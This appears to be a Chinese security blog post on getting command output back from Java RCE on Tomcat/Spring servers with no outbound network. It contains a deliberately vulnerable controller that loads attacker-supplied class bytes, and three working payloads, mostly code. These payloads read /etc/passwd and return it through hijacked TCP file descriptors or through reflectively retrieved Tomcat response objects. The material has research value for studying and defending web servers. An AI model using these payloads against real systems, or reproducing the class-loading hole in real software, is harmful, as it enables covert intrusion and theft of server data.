对于Java不出网RCE实现的回显链
环境搭建
@RestController public class IndexController extends ClassLoader { @PostMapping("/") public JSONObject post(HttpServletRequest request,@RequestBody JSONObject json) { String data = json.getString("data"); String name = json.getString("name"); try { byte[] clazz = Base64.getDecoder().decode(data); IndexController loader = new IndexController(); loader.defineClass(name, clazz, 0, clazz.length).newInstance(); } catch (Exception ignore) { } return json; } }
Linux文件描述符
在Linux环境下可以通过/proc/self/fd/i
获取到网络连接,然后在Java中可以通过文件描述符获取到Stream对象,通过Stream对象可以对网络流进行读写。
关键在于如何获取到文件描述符的id,其中一种思路是通过客户端IP地址对文件描述符进行筛选。
在/proc/net/tcp6
中有记录大量的连接请求,其中有记录IP地址以及tcp连接的inode:
通过IP地址可以找到对应的inode,再通过inode可以在/proc/self/fd/下找到对应的文件描述符id,利用文件描述符id通过Java代码可以对网络流进行读写。所以总共需要下面这几个步骤:
-
读取
/proc/net/tcp6
根据IP筛选inode(也有可能是/proc/net/tcp
文件) -
根据inode在
/proc/self/fd
下找到对应的文件描述符id -
使用Java代码根据文件描述符id对网络流进行操作,将命令执行的结果输出
实现代码如下
public class Eval { public String exec(String cmd) { try { Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd}); DataInputStream dis = new DataInputStream( new BufferedInputStream( process.getInputStream() ) ); int temp; StringBuilder builder = new StringBuilder(); while ((temp = dis.read()) != -1) { builder.append((char) temp); } return builder.toString(); } catch (Exception ignore) { } return ""; } public String ipToHex(String ip) { StringBuilder sb = new StringBuilder(); String[] data = ip.split("\\."); int temp; for (int i = 0; i < 4; i++) { temp = Integer.parseInt(data[i]); sb.insert(0, String.format("%02x", temp).toUpperCase()); } return sb.toString(); } public Eval() { String hex = ipToHex("172.23.208.1"); String cmd = "cat /etc/passwd"; String result = exec(cmd); String inode = exec(String.format("cat /proc/net/tcp6 | awk '$3 ~/%s/{print $10}'", hex)); for (String i : inode.split("\n")) { try { String res2 = exec(String.format("ls -al /proc/*/fd | awk '$11 ~/%s/{print $9}'", i)); int num = Integer.parseInt(res2.replaceAll("\\s", "")); FileDescriptor fd = new FileDescriptor(); Field field = fd.getClass().getDeclaredField("fd"); field.setAccessible(true); field.set(fd, num); FileOutputStream fout = new FileOutputStream(fd); fout.write(result.getBytes(StandardCharsets.UTF_8)); } catch (Exception ignore) { } } } }
在WEB服务部署的时候,如果有nginx反代,则在tcp连接获取到的IP地址只有nginx服务器的IP地址,无法通过IP地址进行筛选。如果不考虑对其他TCP连接的影响可以不使用IP地址筛选文件描述符,将命令执行的结果输出到每一个TCP连接,但要确保获取到的文件描述符对应的是TCP连接
ThreadLocal
文件描述符的回显可能会收到其他网络连接的影响,一般不建议使用。
在Java代码执行的时候如果能获取到Response对象,则可以直接向Response对象中写入命令执行的结果实现回显。我本地起的Springboot项目,在寻找这个Response对象时可以先在Controller中下断点,然后根据调用栈往上翻。
如果能找到一个static类型的变量,并且在其中找到Response对象的引用则可以获取到Response对象。在ApplicationFilterChain
类中有两个static类型的成员变量:
在调用的过程中有这样一段代码:
如果WRAP_SAME_OBJECT
这个变量为true则会调用lastServicedResponse.set()
方法将Response对象存在lastServicedResponse
中,可以通过这个变量获取到Response对象。
这里的WRAP_SAME_OBJECT
为static final
类型,但实际可以利用反射对其进行修改。其次还有一个点在于由于WRAP_SAME_OBJECT
的初始值为false,ApplicationFilterChain
类在初始化时会将lastServicedResponse
设置为null,需要使用反射将其进行初始化。
整个流程需要两次请求:
-
第一次请求时使用反射将
WRAP_SAME_OBJECT
设置为true -
第二次请求时会将Response对象储存在
lastServicedResponse
中,通过反射获取这个变量中储存的Response对象进行回显
实现代码:
String result = "success"; try { Class<?> clazz1 = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); Class<?> clazz2 = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); Field lastServicedRequestField = clazz2.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = clazz2.getDeclaredField("lastServicedResponse"); Field wso = clazz1.getDeclaredField("WRAP_SAME_OBJECT"); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(wso, wso.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); wso.setAccessible(true); lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true); wso.setBoolean(null, true); try { ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); ServletResponse res = lastServicedResponse.get(); res.getOutputStream().write(result.getBytes(StandardCharsets.UTF_8)); res.flushBuffer(); } catch (Exception ignore) { lastServicedRequestField.set(null, new ThreadLocal<>()); lastServicedResponseField.set(null, new ThreadLocal<>()); } } catch (Exception ignore) { }
全局储存
首先在Http11Processor
类中有储存request和response变量,而在AbstractProtocol$ConnectionHandler
静态类的register()
方法中有使用到这个类:
这个方法从processor
中获取到了request,然后获取到里面的一个RequestInfo
类,将其注册到global中:
于是在global这个属性中可以找到RequestInfo
这个类的引用:
可以由global --→ RequestInfo --→ request --→ response
这条路径获取到response
获取global这个属性就需要我们获取到AbstractProtocol$ConnectionHandler
这个静态类。
而获取AbstractProtocol$ConnectionHandler
类可以通过NioEndpoint
类的handler属性:
获取NioEndpoint
类可以通过Thread.currentThread().getThreadGroup()
,在其中有一个thread数组:
数组中某个线程的target为Acceptor
,它的endpoint
属性即为NioEndpoint
所以完整的路径如下:
Thread.currentThread().getThreadGroup() --→ threads --→ Acceptor --→ NioEndpoint --→ AbstractProtocol$ConnectionHandler --→ global --→ RequestInfo --→ request --→ response
代码实现:
String result = exec("cat /etc/passwd"); try{ ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsField = ThreadGroup.class.getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(threadGroup); for(Thread thread:threads){ Field targeField = Thread.class.getDeclaredField("target"); targeField.setAccessible(true); Object target = targeField.get(thread); if(target!=null&&target.getClass()==org.apache.tomcat.util.net.Acceptor.class){ Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint"); endpointField.setAccessible(true); Object endpoint = endpointField.get(target); Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(endpoint); Field globalField = handler.getClass().getDeclaredField("global"); globalField.setAccessible(true); Object global = globalField.get(handler); Field processorsField = global.getClass().getDeclaredField("processors"); processorsField.setAccessible(true); ArrayList<RequestInfo> processors = (ArrayList<RequestInfo>) processorsField.get(global); for(RequestInfo info : processors){ Field reqField = RequestInfo.class.getDeclaredField("req"); reqField.setAccessible(true); Request request =(Request)reqField.get(info); Response response = request.getResponse(); System.out.println(response); Field outputBufferField = Response.class.getDeclaredField("outputBuffer"); outputBufferField.setAccessible(true); org.apache.coyote.http11.Http11OutputBuffer outputBuffer = (org.apache.coyote.http11.Http11OutputBuffer)outputBufferField.get(response); outputBuffer.write(result.getBytes(StandardCharsets.UTF_8)); outputBuffer.flush(); } } } }catch (Exception ignore){ }
执行的效果如下:
Referer
https://www.anquanke.com/post/id/264821
https://www.00theway.org/2020/01/17/java-god-s-eye/